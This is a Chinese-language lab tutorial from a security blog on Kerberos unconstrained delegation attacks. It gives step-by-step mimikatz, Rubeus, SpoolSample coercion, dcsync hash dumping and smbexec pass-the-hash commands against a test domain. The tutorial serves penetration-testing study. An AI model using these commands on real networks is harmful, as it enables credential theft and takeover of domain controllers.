时代新威网络安全实验室

  • 首页
  • 安全资讯
  • 安全服务
    • 渗透测试
    • 攻防演习
    • 安全咨询
    • 代码审查
    • 应急响应
    • 安全培训
  • 知识分享
  • 内部资源
    • 信息搜集
    • 漏洞发现
    • 漏洞利用
    • 权限维持
    • 密码爆破
    • 内网渗透
    • APT
    • 安全竞赛
    • 2021HW
  • 关于我们
  • 登录与注册
    • 登录
    • 注册
Kratos
一款专注于用户阅读体验的响应式博客主题
  1. 首页
  2. 安全服务
  3. 渗透测试
  4. 正文

非约束委派攻击原理与利用

2023年2月15日 51点热度 1人点赞 0条评论

前言

在实际情况中,往往多个服务不可能都在一台机器中,那么如果用户在使用服务A时,又需要用到服务B上的数据,那么最简单的方式就是A代替用户去请求B并返回相应的数据,这个过程就是委派。即 委派=我帮你去做什么事

委派攻击分为非约束委派、约束委派、基于资源的约束委派三种。

非约束委派攻击

非约束委派的请求过程如图,当service1的服务账户开启了非约束委派后,user访问service1时,service1会将user的TGT保存在内存中,然后server1就可以利用TGT以user的身份去访问域中的任何user可以访问的服务。

如果域管理员访问了某个开启了非约束委派的服务,那么该服务所在计算机会将域管理员的TGT保存至内存中,那么获得其特权就可以获取域控权限。

​

非约束委派有两种:

  1. 设置主机账户为非约束委派,通过域管理账户对该主机账户进行访问,留下票据在该主机账户下,然后拿该票据去写入内存,从而可以利用域管理的TGT去访问域控。
  2. 设置服务账号为非约束委派,通过域管理账户对该服务进行访问,留下票据在该主机账户下,然后拿该票据去写入内存,从而可以利用域管理的TGT去访问域控。

以下委派攻击实验基于将主机账户设置为非约束委派

环境准备

  • 域:test.lab
  • 域控:192.168.10.2 win2012,账号 administrator,主机名DC
  • 域成员:192.168.10.5 win7 ,账号 yuwin7,主机名admin-PC
  • 域管理员:192.168.10.4 win2012,账号 yuwin2012,主机名win2012

如下,在域控中开启yuwin7主机账号的委派属性

​

yuwin7主机账号开启了委派属性,若我们拿下yuwin7权限,域管访问了该机器则会将域管理员的TGT保存至内存中,从而获取域控权限

查询非约束委派的主机和用户

以下委派攻击实验基于将主机账户设置为非约束委派

使用adfind查找

Adfind 下载地址:Adfind

  1. 查询非约束委派的主机

win7上执行如下命令,可以发现,除了默认开启非约束委派的域控主机账户,还有ADMIN-PC账户,而admin-PC就是本机的主机名。查找⾮约束委派⽤户的⼯具还有很多!例如 Adfind、ldapdomaindump、PowerView … 等等。

#查询非约束委派的主机:
AdFind.exe -b "DC=test,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#查询非约束委派的用户:
AdFind.exe -b "DC=test,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

​

查询非约束委派的域用户

​

⾮约束委派攻击利⽤

1. 基础利用

win7机器查看内存票据,可发现票据中没有域管的。

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

​

当设置了非约束性委派,需要让域控模拟访问被设置了非约束委派的机器。可以使用如下的方式连接目标winrm服务模拟访问

  1. 在域管理员win2012上执行
Enter-PSSession -ComputerName admin-PC

​

域管理员模拟访问被设置了约束委派的机器后,这个时候其实域管理员yuwin2012的 TGT 已经缓存在 win7机器上了

  1. mimikatz再次导出凭据

导出票据如下,此时发现了域管yuwin2012的凭据,其中有三个票据,我们将其中一个重命名为1.kirbi,方便操作

​

  1. 通过 ptt 将 TGT 注⼊到当前会话中

我们现在访问域控肯定是访问不了的

接下来以域用户权限运行mimikatz,通过 ptt 将 TGT 注⼊到当前会话中

kerberos::ptt 1.kirbi

这个时候就能访问到域控了:

dir \\主机名\c$

​

2. 利用 Spooler服务让域控主动连接

上面的攻击方式在实战情况下,除非域管理员连接过该服务,否则十分鸡肋,而在特定情况下,可以利用splooer服务让域控主动连接。

Spooler服务默认开启,域用户可以利用windows打印系统远程协议(MS-RPRN)强制任何运行了spooler服务的域内计算机通过kerberos或ntlm对任何目标进行身份验证,这便是该攻击方式的原理。

注:splooer服务是默认运行的

​

攻击过程

  • 域:test.lab
  • 域控:192.168.10.2 win2016,账号 administrator,主机名DC
  • 域内主机:192.168.10.5 win7 ,账号 yuwin7,主机名admin-PC

攻击者控制一个开启了非约束委派的主机账户,当域控开启Print Spooler服务时,攻击者可以主动要求域控访问该主机服务器,进而获取DC的TGT

  • 拿下一个具有Kerberos非约束委派的主机(主机账户)
  • 找到一台运行Print Spooler服务(默认为自启而且为System权限)的DC
  • 本地管理员权限使用Rubeus监听
  1. Rubeus对域控机器账户监听

在win7上以本地管理员权限运行Rubeus,对域控机器账户的登录进行监听。

Rubeus.exe monitor /interval:1 /filteruser:DC$
# 我们可以用Rubeus来监听Event ID为4624事件,这样可以第一时间截取到域控的TGT
# /interval:1 设置监听间隔1秒
# /filteruser 监听对象为我们的域控,注意后面有个$,如果不设置监听对象就监听所有的TGT
# DC$为域控的主机名字加$

​

  1. 利用spoolsample工具强制让域控机向本机验证身份

下载spoolsample.exe,此程序运行需要.net4。win7以当前域用户身份运行。注意win7需要关闭防火墙,不然接收不了ticket

spoolsample.exe DC admin-PC
# 表示利用打印服务强制让域控机向admin-PC主机验证身份,这样我们的Rubeus就可以监听到TGS了

此时Rubeus已经接收到了TGT

​

我们先复制Rubeus监听到的TGT,由于这里每行都加了换行,我们用这个python脚本去掉每行的换行符

data=""
for line in open('1.txt','r'):
    data += line.strip('\n')
with open("2.txt",'a') as f:
    f.write(data)
print('保存完毕')

然后复制2.txt中的TGT

  1. 以本地管理员权限运行rubeus.exe导入TGT
Rubeus.exe ptt /ticket:TGT

​

  1. 接着以本地管理员权限运行mimikatz进行dcsync

成功获取域内账号ntlm哈希值

mimikatz.exe "lsadump::dcsync /domain:test.lab /all /csv" exit

​

此时可以使用smbexec.py哈希传递域控获取域控权限。

python smbexec.py -hashes :afffeba176210fad4628f0524bfe1942 administrator@192.168.10.2

​

 

标签: 暂无
最后更新:2023年2月15日

山山而川

csdn:https://chenchena.blog.csdn.net/?type=lately

点赞
< 上一篇

COPYRIGHT © 2022 时代新威网络安全实验室. ALL RIGHTS RESERVED.

Theme Kratos Made By Seaton Jiang